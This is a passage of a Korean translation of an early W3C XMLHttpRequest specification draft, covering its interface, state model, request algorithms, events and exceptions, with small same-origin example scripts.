네트워크를 통해 전달된 XML 문서를 가지고 무엇인가를 하는 간단한 코드:

function test(data) {
 // taking care of data
}

function handler() {
 if(this.readyState == 4 && this.status == 200) {
  // so far so good
  if(this.responseXML != null && this.responseXML.getElementById('test').firstChild.data)
     // success!
   test(this.responseXML.getElementById('test').firstChild.data);
  else
   test(null);
 } else if (this.readyState == 4 && this.status != 200) {
  // fetched the wrong page or network error...
  test(null);
 }
}

var client = new XMLHttpRequest();
client.onreadystatechange = handler;
client.open("GET", "test.xml");
client.send();

만약 서버에게 로그 메시지를 전달하고 싶다면:

function log(message) {
 var client = new XMLHttpRequest();
 client.open("POST", "/log");
 client.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
 client.send(message);
}

만약 서버에 있는 문서의 상태를 확인하고 싶다면:

function fetchStatus(address) {
 var client = new XMLHttpRequest();
 client.onreadystatechange = function() {
  // in case of network errors this might not give reliable results
  if(this.readyState == 4)
   returnStatus(this.status);
 }
 client.open("HEAD", address);
 client.send();
}

1.2. 준수(Conformance)

다이어그램, 예제, 노트 그리고 비규범적이라고 명시된 절을 제외한 본 문서의 모든 부분은 규범적이다.

이 문서에서 사용된 must, must not, should 와 may 이라는 용어는 RFC 2119 [RFC2119]에 따라 해석된다.

본 규격은 다음과 같은 종류의 산출물을 정의한다.:

준수하는 유저 에이전트

유저 에이전트는 본 규격에 준수하기 위해 반드시(must) 이 규격에 정의된 대로 동작해야 한다.

만약 유저에이전트가 XML 유저에이전트에 준수하지 않는다면 XML response entity body는 반드시(must) 항상 null이어야 한다.

유저 에이전트는 본 규격에 정의된 알고리즘으로 얻을 수 있는 결과물과 구별 불가능한 결과물을 얻는 알고리즘을 구현할 수 있다. (may)

본 규격에서 사용하는 "준수하는 유저 에이전트(들)"와 "유저 에이전트(들)"는 이 종류의 산출물은 가르킨다.

준수하는 XML 유저 에이전트

준수하는 유저 에이전트이면서 동시에 namespace well-formed를 보고하는 준수하는 XML처리기인 유저 에이전트를 말한다.[XML] [XMLNS]

1.2.1. 의존성

본 규격은 몇몇 기초 규격에 기반을 두고 있다.

DOM

준수하는 유저에이전트는 반드시(must) DOM Core와 DOM Events에 정의된 기능의 부분 집합을 지원해야한다. [DOM3Events] [DOM3Core]

이 규격이 의존하고 있는 반드시(must) Window Objects 1.0 규격에 정의된 기능의 부분 집합을 지원해야 한다. [Window ]

HTTP

준수하는 유저에이전트는 반드시(must) 특정버전의 HTTP를 지원해야 한다. 꼭(should) Method 형식에 맞는 HTTP method를 제공해야 하며, 반드시(must) 최소한 아래의 method들을 지원해야 한다.:

  • GET
  • POST
  • HEAD
  • PUT
  • DELETE
  • OPTIONS

HTTP에 관한 다른 요구사항은 다음 문서에 정의되어 있다. [RFC2616]

1.2.2. 용어

s1s2 문자열의 case-insensitive match는 두 문자열을 모두 대문자로 만들고 나서 (a-z를 A-Z로 매핑함으로써) 두 문자열이 동일함을 의미한다.

두 개의 URI는 RFC 3987에 정의된 sceheme-based normalization을 수행한 후에 scheme, ihost, port가 모두 동일 할 경우 same-origin 이라고 정의된다. 만약 URI가 두 URI 모두 ihost를 가지고 있지 않을 경우 반드시(must not) same-origin으로 간주되지 말아야 한다. [RFC3987]

1.2.3. 확장

본 규격에 정의된 API의 확장은 강력히 추천되지 않는다. 유저 에이전트들, 워킹 그룹, 그 밖에 관심있는 단체들은 반드시 이러한 확장을 public-webapi@w3.org 와 같은 공개적인 방법으로 논의 해야한다.

2. XMLHttpRequest 객체

XMLHttpRequest 객체는 스크립트에 의해 프로그램적으로 originating server에 접속할 수 있다.

XMLHttpRequest 인터페이스를 구현하는 객체는 반드시(must) EventTarget 인터페이스를 구현해야 한다. [DOM3Events]

Window 인터페이스를 구현하는 객체는 반드시(must) XMLHttpRequest() 생성자를 제공해야한다. [Window]

ECMAScript에서는 다음과 같이 쓰일 수 있다:

var client = new XMLHttpRequest();

XMLHttpRequest() 생성자가 호출될 경우 연관된 Window 객체에 대한 영속적인 포인터가 반드시(must) 새로 생성된 객체에 저장되어야 한다. 이것은 Window 포인터이다. 연관된 Window 객체는 XMLHttpRequest() 생성자가 호출된 것 중 하나이다. 이 포인터는 반드시(must) 해당 윈도우가 속해있는 브라우징 콘텍스트가 파괴된 경우에도 유지되어야 한다. (예를들면 부모 콘텍스트로 부터 제거하는 것과 같이).

브라우징 콘텍스트라는 용어는 Window Object 1.0 규격에 의해 정의된다. [Window]

만약 winWindow 객체라면, client 는 아래 예제에서 win 에 대한 포인터를 가질 것이다:

var client = new win.XMLHttpRequest()
interface XMLHttpRequest {
  // event handler
           attribute EventListener onreadystatechange;

  // state
  const unsigned short UNSENT = 0;
  const unsigned short OPENED = 1;
  const unsigned short HEADERS_RECEIVED = 2;
  const unsigned short LOADING = 3;
  const unsigned short DONE = 4;
  readonly attribute unsigned short readyState;

  // request
  void open(in DOMString method, in DOMString url);
  void open(in DOMString method, in DOMString url, in boolean async);
  void open(in DOMString method, in DOMString url, in boolean async, in DOMString user);
  void open(in DOMString method, in DOMString url, in boolean async, in DOMString user, in DOMString password);
  void setRequestHeader(in DOMString header, in DOMString value);
  void send();
  void send(in DOMString data);
  void send(in Document data);
  void abort();

  // response
  DOMString getAllResponseHeaders();
  DOMString getResponseHeader(in DOMString header);
  readonly attribute DOMString responseText;
  readonly attribute Document responseXML;
  readonly attribute unsigned short status;
  readonly attribute DOMString statusText;
};

XMLHttpRequest 객체는 다섯 가지 상태를 가질 수 있다: UNSENT, OPENED, HEADERS_RECEIVED, LOADING 그리고 DONE. 현재 상태는 readyState 속성에 의해 노출된다. 아래 정의된 방법이 언제 상태 전이가 일어나는지를 정의한다.

생성되었을 때, XMLHttpRequest 객체는 반드시(must) UNSENT 상태여야 한다. 이 상태는 값이 0UNSENT 상수에 의해 표현된다.

OPENED 상태는 open() 메서드가 성공적으로 불렸을 때의 객체의 상태이다. 이 상태에서는 setRequestHeader()를 이용해 request 헤더를 설정할 수 있으며, send()를 통해 request를 할 수 있다. 이 상태는 값이 1OPENED 상수에 의해 표현된다.

OPENED 상태는 연관된 send() 플래그를 가지는데, "true" 또는 "false"의 값을 가진다. send() 플래그의 초기값은 "false"이다.

HEADERS_RECEIVED 상태는 모든 response 헤더가 받아진 객체의 상태이다. 이 상태는 값이 2HEADERS_RECEIVED 상수에 의해 표현된다.

LOADING 상태는 response entity body가 받아지고 있는 중의 객체의 상태이다. 이 상태는 값이 3LOADING 상수에 의해 표현된다.

DONE 상태는 데이터의 전송이 끝나거나 전송 중 무한 리다이렉션 같은 오류가 발생한 객체의 상태이다. 이 상태는 값이 4DONE 상수에 의해 표현된다.

DONE는 연관된 error 플래그를 가지며 그 값은 "true" 또는 "false"이다. error 플래그의 초기값은 "false"이다.

response entity body는 현재까지 수신된 entity body의 일부이거나 (LOADING 상태), 완전한 entity body 이다. (DONE 상태). 만약 entity body가 없다면 response entity body 는 "null"이다.

text response entity bodyresponse entity body를 나타내는 DOMString이거나 null이다. Text response entity body는 다음과 같은 알고리즘의 리턴값이다:

  1. 만약 response entity body가 "null"이면, null을 리턴하고 종료한다.

  2. charset을 "null"로 하자.

  3. 만약 Content-Type 헤더가 없거나 MIME type이 text/xml , application/xml이거나 +xml로 끝나는 Content-Type 헤더를 가졌다면 (파라메터는 무시한다), character encoding을 판별하기 위해 XML 규격에 설명되어 있는 방법을 사용한다. charset을 판별된 character encoding 값으로 한다.

  4. 만약 MIME type이 text/htmlContent-Type 헤더를 가졌다면, character encoding을 판별하기 위해 HTML 5 규격에 설명되어 있는 방법을 사용한다. charset을 판별된 character encoding 값으로 한다. [HTML5]

  5. 만약 Content-Type헤더에 지정된 MIME type이 파라메터를 가지고 있고, charset이 "null" 이라면 charset이 그 파라메터의 값으로 한다.

    XML과 HTML 규격에 정의된 알고리즘은 이미 Content-Type 값을 참고한다.

  6. 만약 charset이 "null"이면, 아래 테이블의 각 행을 첫 줄부터 시작해서 대조하여 처음으로 첫번째 열과 일치하는 행의 두번째 컬럼 값을 charset의 값으로 한다. 만약 일치 하는 행이 없다면 charset 는 "null"로 남는다.

    16진수 바이트열 설명
    00 00 FE FF UTF-32BE BOM
    FF FE 00 00 UTF-32LE BOM
    FE FF UTF-16BE BOM
    FF FE UTF-16LE BOM
    EF BB BF UTF-8 BOM
  7. 만약 charset 이 "null"이면 charset를 UTF-8로 한다.

  8. Response entity body를 charset를 이용해 디코딩 한 값을 리턴한다. 만약 실패한다면 null을 리턴한다.

XML response entity bodyresponse entity body를 나타내는 Document이거나 null이다. XML response entity body 는 다음과 같은 알고리즘의 리턴값이다:

  1. 만약 response entity body가 "null"이면, null을 리턴하고 종료한다.

  2. 만약 Content-Type 헤더가 존재하고 MIME type이 text/xml , application/xml이거나 +xml로 끝나는 Content-Type 헤더를 가지지 않았다면 (파라메터는 무시한다), null을 리턴하고 종료한다. (만약 Content-Type 가 전혀 없다면 종료하지 않는다.)

  3. Response entity body를 XML 규격에 정의된 방법을 따라서 document tree로 파싱한다. parsed document의 값을 그 결과값으로 한다. 만약 지원되지 않는 character encoding이거나 namespace well-formedness 에러 등에 의해 실패한다면 null을 리턴하고 종료한다. [XML] [XMLNS ]

    Document tree에 있는 스크립트는 실행되지 않으며, 여기서 참조된 리소스들도 로딩되지 않는다. 또한 연관된 XSLT도 적용되지 않는다.

  4. parsed document값을 가지는 Document 인터페이스를 구현한 객체를 리턴한다.

onreadystatechange of type EventListener

bubbling phase 동안readystatechange 이벤트가 전달될 경우 이 객체에 등록된 다른 적절한 이벤트 핸들러와 함께 반드시(must) 호출되어야 하는 EventListener를 값을 취하는 속성이다. 초기값은 반드시 (must) null이다.

readyState of type unsigned short, readonly

이 속성을 읽을 경우 반드시(must) 해당 객체의 현재 상태 값을 리턴해야 한다.

open(method, url, async, user, password), method

호출될 경우 유저 에이전트는 반드시(must) 다음 단계를 따라야 한다. (다른 방식으로 지시되지 않는 한):

  1. 만약 method인자가 RFC 2616의 5.1.1절에 정의된 Method 형식에 맞지 않은 경우 SYNTAX_ERR 예외를 발생하고 종료한다. [RFC2616]

  2. 만약 주어진 method 인자가 보안상의 이유로 지원되지 않을경우 유저 에이전트는 꼭(should) SECURITY_ERR 예외를 발생하고 종료해야 한다.

  3. 저장된 method값을 method로 한다.

  4. 만약 methodGET, POST, HEAD, PUT, DELETE 또는 OPTIONS case-insensitively match하다면 stored method에 이를 a-z를 A-Z로 매핑함으로써 대문자로 변환한 값을 저장한다.

  5. url에 Fragment identifier가 있다면 이를 제외한 부분을 저장된 url값에 저장한다.

  6. 만약 저장된 url이 상대적 경로라면, Window 포인터에 연관된 Document 객체의 현재 baseURI 속성을 이용해 해결한다. 만약 이것이 실패한다면 SYNTAX_ERR 예외를 발생시키고 종료한다.

  7. 만약 저장된 url이 지원되지 않는 scheme을 가졌을 경우, NOT_SUPPORTED_ERR 예외를 발생시키고 종료한다.

  8. 만약 "user:password" 형식의 userinfo 값이 해당 scheme에서 지원되지 않고, 저장된 url값에 이 형식이 존재한다면, SYNTAX_ERR 예외를 발생시키고 종료한다. [RFC3986]

  9. 만약 저장된 url 값이 "user:password" 형식을 가진다면 저장된 user 가 user 부분, 저장된 password 가 password 부분이 되도록한다.

  10. 만약 저장된 url"user" 형식만 가진다면, 저장된 user값이 user 부분이 되도록 한다.

  11. 만약 저장된 urlWindow 포인터에 연관된 Document 객체와 same-origin이 아니라면, 유저 에이전트는 꼭(should) SECURITY_ERR 예외를 발생시키고 종료해야 한다. 용어 origin은 HTML 5 규격에 의해 정의된다. [HTML5]

  12. async 값을 async 인자의 값이 주어졌을 경우에는 그 값으로, 생략되었을 경우에는 true로 한다.

  13. 만약 user 인자가 주어졌고, 그 형식이 해당 인증 scheme에 적합하지 않은 경우, SYNTAX_ERR 예외를 발생시키고 종료한다.

  14. 만약 user 인자가 주어졌고 null이 아니라면 저장된 user 값을 해당 인증 scheme에 지정된 방법으로 인코딩한 값으로 한다. 만약 scheme에서 encoding이 지정되지 않은 경우에는 UTF-8로 인코딩 한 값으로 한다.

    이 단계는 url 인자에 의해 지정된 user 값보다 우선 순위를 가진다.

  15. 만약 user 인자가 생략되지 않았고 null이라면 저장된 user 값을 지운다.

  16. 만약 password 인자가 주어졌고, 그 형식이 해당 인증 scheme에 적합하지 않은 경우, SYNTAX_ERR 예외를 발생시키고 종료한다.

  17. 만약 password 인자가 주어졌고 null이 아니라면 저장된 user 값을 해당 인증 scheme에 지정된 방법으로 인코딩한 값으로 한다. 만약 scheme에서 encoding이 지정되지 않은 경우에는 UTF-8로 인코딩 한 값으로 한다.

  18. 만약 password 인자가 생략되지 않았고 null이라면 저장된 password 값을 지운다.

  19. send() 알고리즘을 취소하고, response entity body를 "null"로 하고, request header의 목록들을 리셋한다.

  20. 유저 에이전트는 꼭(should) 해당 객체가 수행하는 모든 네트워크 활동을 취소해야 한다.

  21. 객체의 상태를 OPENED 상태로 세팅하고, send() 플래그 값을 "false"로 새팅한다. 그리고 동기적으로 readystatechange 이벤트를 해당 객체에 보내고, 메서드 호출을 리턴한다.

본 규격의 향후 버전 또는 확장은 cross-site request에 대한 방법을 정의할 가능성이 높다.

setRequestHeader(header, value), method

각각의 request는 연관된 값을 지닌 request header 목록을 가진다. 이 메서드는 그 값을 조작하거나 새로운 request header를 지정하는데 사용할 수 있다.

호출 될 경우, 유저 에이전트는 반드시(must) 다음 단계를 따라야한다. (다른 방법으로 지시되지 않았을 경우):

  1. 만약 객체의 상태가 OPENED 가 아닐 경우 INVALID_STATE_ERR 예외를 발생하고 종료한다.

  2. 만약 send() 플래그가 "true"라면, INVALID_STATE_ERR 예외를 발생하고 종료한다.

  3. 만약 header 인자가 RFC 2616의 4.2절에 정의된 field-name 형식과 맞지 않거나 null 일 경우 SYNTAX_ERR 예외를 발생하고 종료한다. [RFC2616]

  4. 만약 value 인자가 null 이라면 종료한다. (예외를 발생시키지 않는다.)

  5. 만약 value 인자가 RFC 2616의 4.2절에 정의된 field-value 형식에 맞지 않는다면 SYNTAX_ERR 예외를 발생시키고 종료한다. [RFC2616]

  6. 만약 header 인자가 아래의 값 중 하나와 case-insensitively match한다면 꼭(should) 보안상의 이유로 종료되어야 한다:

    • Accept-Charset
    • Accept-Encoding
    • Connection
    • Content-Length
    • Content-Transfer-Encoding
    • Date
    • Expect
    • Host
    • Keep-Alive
    • Referer
    • TE
    • Trailer
    • Transfer-Encoding
    • Upgrade
    • Via
  7. 역시 보안상의 이유로 만약 header 인자의 첫 여섯글자가 Proxy-case-insensitively match 한다면 종료해야 한다.

  8. 만약 header 인자가 request header 목록에 없다면 연관된 value를 목록에 추가하고 종료한다.

  9. 만약 header 인자가 request header 목록에 있다면, 복수의 header를 사용하거나 값을 합치거나 그 두 개의 조합을 사용한다. (RFC 2616 4.2절) [RFC2616]

유저 에이전트가 캐싱, 인증, 프록시, 쿠키와 관련해서 header를 어떻게 다루는지 보려면 send() 메서드를 참조하다.

// 다음의 스크립트는:
var client = new XMLHttpRequest();
client.open('GET', 'demo.cgi');
client.setRequestHeader('X-Test', 'one');
client.setRequestHeader('X-Test', 'two');
client.send();

// ...아래와 같은 request header를 보내게 된다:
...
X-Test: one, two
...
send(data), method

send() 메서드는 요청을 시작하며, 이의 선택적 인자는 entity body를 제공한다. 저작자들은 send()null이 아닌 data 인자와 함께 호출하기 전에 setRequestHeader()Content-Type header를 지정 했는지 확인 하도록 강력히 권장된다.

호출될 경우 유저 에이전트는 반드시(must) 다음의 단계를 따라야 한다. (다른 방식으로 지정되지 않았을 경우). 이 알고라즘은 open() 또는 abort() 메서드가 호출됨으로써 취소될 수 있다. send() 알고리즘이 중단될 경우에 유저 에이전트는 반드시(must) 현재 진행 중인 단계를 끝내고 종료해야 한다.

아래 알고리즘은 asyncfalse일 경우, 스크립트를 통해 중단될 수 없다. 오직 asynctrue 이고 해당 메서드가 리턴한 이후에만 중단될 수 있다.

  1. 만약 객체의 상태가 OPENED 가 아니라면 INVALID_STATE_ERR 예외를 발생 시키고 종료한다.

  2. 만약 send() 플래그가 "true"라면 INVALID_STATE_ERR 예외를 발생시키고 종료한다.

  3. 만약 asynctrue라면 send() 플래그를 "true"로 한다.

  4. 만약 data 인자가 생략되지 않았고, null이 아니라면 이 값을 RFC 2616의 7.2절에 정의된 대로 entity body 값으로 사용하되 다음의 규칙을 따른다. [RFC2616]

    dataDOMString이다.

    전송을 위해 data를 UTF-8로 인코딩한다.

    dataDocument이다.

    data를 namespace well-formed한 XML document로 직렬화(serialize)하고 data.xmlEncoding에서 주어진 값으로 인코딩한다. 만약 주어지지 않았을 경우 UTF-8로 인코딩한다. 만약 Document가 직렬화(serialize) 되지 못해서 실패한다면, datanull인 것 처럼 동작한다.

    만약 Content-Type 헤더가 request header 목록에 존재하지 않는다면, request header 목록에 application/xml를 값으로 Content-Type 헤더를 추가한다.

    Document에 대한 이후의 변경은 전송되는 값에 영향을 미치지 않는다.

    dataDOMString도 아니고, Document도 아니다.

    data의 호스트 언어에서 지정된 문자열화(stringification) 방법을 사용하고, dataDOMString인 것처럼 동작한다. 만약 실패할 경우 datanull인 것처럼 동작한다.

    만약 data 인자가 생략되었거나, null이라면 이 요청에서 entity body가 사용되지 않는다.

  5. 이 단계 직후에 stored urlstored method의 HTTP method, stored user의 user (만약 있다면), stored password의 password (만약 있다면), entity body와 request header 목록을 이용해 요청을 한다.

  6. 동기적으로 readystatechange 이벤트를 객체에 보낸다.

    객체의 상태는 변경되지 않는다. 이 이벤트는 역사적인 이유로 보내지는 것이다.

  7. 만약 asynctrue 라면 send() 메서드 호출을 리턴한다. (하지만 이 알고리즘을 종료하지는 않는다.)

  8. 리소스가 다운로드 되는 동안 아래의 규칙이 적용된다.

    만약 response가 HTTP redirect라면

    만약 redirect가 보안상의 문제 점이 없고, (예를 들면 same-origin이라면) 무한 루프에 빠질 위험이 없다면 그 scheme은 투명하게(transparently) 지원되며, redirect를 따라간 후 이 단계 맨 처음으로 돌아한다.

    HTTP는 유저에이턴트가 redirect 하는 동안 request method와 entity body를 유지하도록 요구한다. 또한 이러한 자동 redirection이 사용자에게 알려지도록 요구한다.

    그렇지 않다면 다음의 단계를 따른다:

    1. response entity body를 "null"로 세팅하고 error flag를 "true"로 하고 request header 목록을 리셋한다.

    2. 동기적으로 객체의 상태를 DONE으로 전환한다.

    3. 만약 asyncfalse 라면 NETWORK_ERR 예외를 발생시키고 전체 알고리즘을 종료한다.

    4. 동기적으로 readystatechange 이벤트를 객체에 보낸다.

    5. 전체 알고리즘을 종료한다.

    향후 버전의 XMLHttpRequest 객체는 여기에서도 error 이벤트를 보내게 될 가능성이 높다.

    만약 사용자가 다운로드를 취소한다면

    다음 단계를 수행한다:

    1. response entity body를 "null"로 세팅하고 error flag를 "true"로 하고 request header 목록을 리셋한다.

    2. 동기적으로 객체의 상태를 DONE으로 전환한다.

    3. 만약 asyncfalse 라면 ABORT_ERR 예외를 발생시키고 전체 알고리즘을 종료한다.

    4. 동기적으로 readystatechange 이벤트를 객체에 보낸다.

    5. 전체 알고리즘을 종료한다.

    향후 버전의 XMLHttpRequest 객체는 여기에서도 abort 이벤트를 보내게 될 가능성이 높다.

    네트워크 에러가 발생한 경우라면

    DNS 에러 또는 다른 종류의 네트워크 에러의 경우 다음의 단계를 수행한다. 여기에는 HTTP status code 410과 같은 어떤 종류의 에러를 나타내는 HTTP response를 포함하지 않는다.

    1. response entity body를 "null"로 세팅하고 error flag를 "true"로 하고 request header 목록을 리셋한다.

    2. 동기적으로 객체의 상태를 DONE으로 전환한다.

    3. 만약 asyncfalse 라면 NETWORK_ERR 예외를 발생시키고 전체 알고리즘을 종료한다.

    4. 동기적으로 readystatechange 이벤트를 객체에 보낸다.

    5. 전체 알고리즘을 종료한다.

    향후 버전의 XMLHttpRequest 객체는 여기에서도 error 이벤트를 보내게 될 가능성이 높다.

    만약 모든 HTTP 헤더들을 수신했다면

    message body(있다면)를 수신하기 전에 만약 모든 HTTP header들을 수신했다면 다음 단계를 따른다:

    1. 동기적으로 객체의 상태를 HEADERS_RECEIVED으로 전환한다.

    2. 동기적으로 readystatechange 이벤트를 객체에 보낸다.

    만약 response entity body의 첫 바이트 (또는 더 많은 바이트)를 수신했다면
    만약 response entity body가 없다면

    만약 response entity body의 첫 바이트 (또는 더 많은 바이트)를 수신했거나 response entity body가 없다면 다음의 단계를 따른다:

    1. 동기적으로 객체의 상태를 LOADING으로 전환한다.

    2. 동기적으로 readystatechange 이벤트를 객체에 보낸다.

    마지막으로, 리소스의 다운로드가 완료되면 다음 단계로 이동한다.

  9. 해당 요청이 로딩을 성공적으로 끝내면, 동기적으로 상태를 DONE로 전환하고, 동기적으로 readystatechange 이벤트를 객체에 보낸다. 만약 asyncfalse라면 이 메서드를 리턴한다.

만약 유저 에이전트가 사용자가 프록시를 설정할 수 있도록 허용한다면 꼭(should) 적절히 요청을 수정해야 한다; , origin server 대신 proxy host에 접속하고, Request-Line을 수정하며 Proxy-Authorization 헤더를 지정된 대로 보내야 한다.

만약 유저 에이전트가 HTTP 인증을 지원한다면 꼭(should) 이 객체로부터 발생한 request에 대해 보호된 영역으로 간주해야 한다. 즉, accessed URI를 포함하고 Authorization 헤더를 보내며 401 Unauthorized 요청을 적절히 처리해야한다. 만약 인증이 실패할 경우, 유저 에이전트는 꼭(should) 사용자에게 자격(credentials)에 대해 물어야 한다. [RFC2617]

만약 유저 에이전트가 HTTP State Management를 지원한다면 꼭(should) 적절히 쿠키를 저장하고, 제거하고, 보내야 한다. (Set-CookieSet-Cookie2 response 헤더에 의해 받아지고, Cookie헤더에 의해 보내진다.) [RFC2965]

만약 유저 에이전트가 HTTP cache를 구현한다면 꼭(should) Cache-Control request 헤러들 준수해야 한다. (, Cache-Control: no-cache는 cache를 사용하지 않는다.) 유저 에이전트는 사용자에 의해 명시적으로 요청된 경우가 아니라면 Cache-Control이나 Pragma헤더를 자동으로 보내서는 안된다(must not). (, (강제로-)페이지를 Reloading할 경우). 유저 에이전트의 조건 요청에 따른 304 Not Modified response는 반드시(must) 적절한 콘텐트로 200 OK response처럼 보여져야 한다. 유저 에이전트는 304 Not Modified가 반드시(must) 전달되어야 할때 반드시(must) If-None-Match, If-Modified-Since와 같은 request header를 설정함으로써 자동 캐시 검증 방법보다 높은 우선 순위의 검증 방법을 제공할 수 있어야한다. [RFC2616]

만약 유저 에이전트가 서버 기반 content-nogotiation을 구현한다면 꼭(should) Accept-Language, Accept-EncodingAccept-Charset 헤더를 적절히 세팅해야한다; 자동으로 Accept 헤더를 세팅해서는 안된다(must not). 이러한 request에 대한 response에는 자동으로 디코딩된 content-encoding 들이 반드시must있어야 한다. [RFC2616]

abort(), method

호출될 경우 유저 에이전트는 반드시(must) 다음의 단계를 수행해야한다. (다른 방법으로 지시되지 않을 경우):

  1. send() 알고리즘을 취소하고, response entity body를 "null"로 세팅하고, error flag를 "true"로 한 뒤 등록된 모든 request header들을 제거한다.

  2. 유저 에이전트는 꼭(should) 해당 객체가 수행하는 모든 네트워크 활동을 취소해야 한다.

  3. 만약 상태가 UNSENT 또는 OPENED 이고 send() 플래그 가 "false"이거나, 상태가 DONE 히면 다음 단계로 간다.

    그렇지 않을 경우 상태를 DONE으로 바꾸고, send() 플래그를 "false"로 한 뒤, 동기적으로 객체에게 readystatechange 이벤트를 보낸다.

  4. 객체 상태를 UNSENT로 바꾼다. (readystatechange 이벤트를 발생시키지는 않는다.)

    향후 버전의 XMLHttpRequest 객체는 여기에서도 abort 이벤트를 발생시킬 가능성이 높다.

getAllResponseHeaders(), method

호출될 경우 유저 에이전트는 반드시(must) 다음의 단계를 수행해야한다:

  1. 만약 상태가 UNSENT 또는OPENED라면 INVALID_STATE_ERR 예외를 발생시키고 종료한다.

  2. 만약 error flag 가 "true" 라면, null을 리턴하고 종료한다.

  3. 모든 HTTP 헤더를 리턴한다. 이는 단일 문자열로 이루어지며 각각의 헤더 라인은 상태 라인을 제외하고는 U+000D CR U+000A LF 짝으로 분리된다.

// 아래의 스크립트는:
var client = new XMLHttpRequest();
client.open("GET", "test.txt", true);
client.send();
client.onreadystatechange = function() {
 if(this.readyState == 3) {
  print(this.getAllResponseHeaders());
 }
}

// ...다음과 유사한 텍스트를 출력해야 한다:
Date: Sun, 24 Oct 2004 04:58:38 GMT
Server: Apache/1.3.31 (Unix)
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/plain; charset=utf-8
getResponseHeader(header), method

호출될 경우 유저 에이전트는 반드시(must) 다음의 단계를 수행해야한다:

  1. 만약 상태가 UNSENT 또는 OPENED라면 INVALID_STATE_ERR 예외를 발생시키고 종료한다.

  2. 만약 header 인자가 field-name 형식에 맞지 않는 다면 빈 문자열을 리턴하고 종료한다.

  3. 만약 error 플래그 가 "true"라면 null을 리턴하고 종료한다.

  4. 만약 header 인자가 마지막으로 보낸 request의 헤더들 중 여러 개와 case-insensitively match 한다면, 이 헤더들의 값을 U+002C COMMA와 그 뒤에 U+0020 SPACE로 구별되는 한 개의 문자열로 합쳐서 리턴하고 종료한다.

  5. 만약 header 인자가 마지막으로 보낸 request의 헤더들 중 한 개와 case-insensitively match 한다면, 이 헤더의 값 리턴하고 종료한다.

  6. null을 리턴한다.

// 아래의 스크립트는:
var client = new XMLHttpRequest();
client.open("GET", "test.txt", true);
client.send();
client.onreadystatechange = function() {
 if(this.readyState == 3) {
  print(client.getResponseHeader("Content-Type"));
 }
}

// ...다음과 같은 문자열을 출력해야 한다:
Content-Type: text/plain; charset=utf-8
responseText of type DOMString, readonly

얻을때, 유저 에이전트는 반드시(must) 다음과 같은 단계를 수행해야 한다:

  1. 만약 상태가 LOADING 또는 DONE이 아니라면 INVALID_STATE_ERR 예외를 발생시키고 종료한다.

  2. text response entity body를 리턴한다.

responseXML of type Document, readonly

얻을때, 유저 에이전트는 반드시(must) 다음과 같은 단계를 수행해야 한다:

  1. 만약 상태가 DONE이 아니라면 INVALID_STATE_ERR 예외를 발생시키고 종료한다.

  2. XML response entity body를 리턴한다.

status of type unsigned short, readonly

얻을때, 존재한다면 이는 반드시(must) 서버에서 보내진 HTTP status code를 리턴해야 한다. (보통 성공적인 요청에 대해서는 200 이다). 존재하지 않는 다면 유저 에이전트는 반드시(must) INVALID_STATE_ERR 예외를 발생시켜야 한다.

statusText of type DOMString, readonly

얻을때, 존재한다면 이는 반드시(must) 서버에서 보내진 HTTP status text를 리턴해야 한다. (status code 바로 뒤에 있다). 존재하지 않는다면 유저 에이전트는 반드시(must) INVALID_STATE_ERR 예외를 발생시켜야 한다.

2.1. XMLHttpRequest 객체의 이벤트

이 절은 XMLHttpRequest 인터페이스를 구현한 객체가 보내는 다양한 이벤트에 대해 설명한다. 이 버전의 규격에서는 한 개의 이벤트만 정의되어 있다.

readystatechange
유저 에이전트가 readystatechange 이벤트를 발생시킬 경우에는 (위에서 지시된바와 같이) bubble 하지 말아야 하며(must not), cancelable 하지 않아야 하고(must not), 반드시(must) Event 인터페이스를 구현해야한다. 이의 namespaceURI 속성은 반드시(must) null이어야 한다. [DOM3Events]

2.2. XMLHttpRequest 객체의 예외

이 규격에서 정의된 몇몇 알고리즘은 예외를 발생시킬 수 있다. 이 예외들은 모두 DOM Level 3 Core에서 정의된 ExceptionCode의 일부이며 DOMException 객체를 사용한다. 여기에 더해 본 규격에서는 ExceptionCode 에 아래와 같은 새로운 상수들을 정의한다. [DOM3Core]

const unsigned short SECURITY_ERR = 18;
const unsigned short NETWORK_ERR = 101;
const unsigned short ABORT_ERR = 102;

SECURITY_ERR 예외는 유저 에이전트의 보안 정책에 위배되거나 보안상의 위험이 있는 방식으로 동작을 수행하거나 데이터에 접근할 경우 발생한다.

SECURITY_ERR 예외는 궁극적으로 DOM Level 3 Core 규격의 향후 버전에 동일한 정의와 상수값으로 포함되어야 한다. 그 때까지 구현자에 대한 가이드로서 여기에 정의된다. (이것은 다른 예외들과 다른 상수값을 가지는 이유이기도 하다.)

NETWORK_ERR 예외는 동기적인 요청에서 네트워크 에러가 생겼을때 발생한다.

ABORT_ERR 예외는 동기적인 요청에서 사용자가 요청을 취소했을 때 발생한다.

본 규격에 정의되지 않은 것들

이 절은 비규범적이다.

본 규격은 향후 버전의 규격에서 고려되고 있는 다음과 같은 기능들을 포함하지 않는다:

  • load 이벤트와 onload 속성;
  • error 이벤트와 onerror 속성;
  • progress 이벤트와 onprogress 속성;
  • abort 이벤트와 onabort 속성;
  • 타이머가 제안되었으며, ontimeout 속성이 고려 중;
  • redirect를 막는 속성;
  • text/html 문서에 대한 responseXML;
  • Cross-site XMLHttpRequest;
  • 바이트 스트립을 다루기위한 responseBody;
  • MIME 타입을 수정하기 위한 overrideMimeType;
  • getRequestHeader()removeRequestHeader().

참조

[DOM3Core]
Document Object Model (DOM) Level 3 Core Specification, A. Le Hors, P. Le Hégaret, L. Wood, G. Nicol, J. Robie, M. Champion, S. Byrne, editors. W3C, April 2004.
[DOM3Events]
Document Object Model (DOM) Level 3 Events Specification (work in progress), Björn Höhrmann, editor. W3C, April 2006.
[ECMAScript]
ECMAScript Language Specification, Third Edition. ECMA, December 1999.
[HTML5]
HTML 5 (work in progress), Ian Hickson, editor. WHATWG, 2007.
[RFC2119]
Key words for use in RFCs to Indicate Requirement Levels, S. Bradner. IETF, March 1997.
[RFC2616]
Hypertext Transfer Protocol -- HTTP/1.1, R. Fielding, J. Gettys, J. Mogul, H. Frystyk, L. Masinter, P. Leach, T. Berners-Lee, editors. IETF, June 1999.
[RFC2617]
HTTP Authentication: Basic and Digest Access Authentication, P. Hallam-Baker, J. Hostetler, S. Lawrence, P. Leach, A. Luotonen, L. Stewart, editors. IETF, June 1999.
[RFC2965]
HTTP State Management Mechanism, D. Kristol, L. Montulli, editors. IETF, October 2000.
[RFC3986]
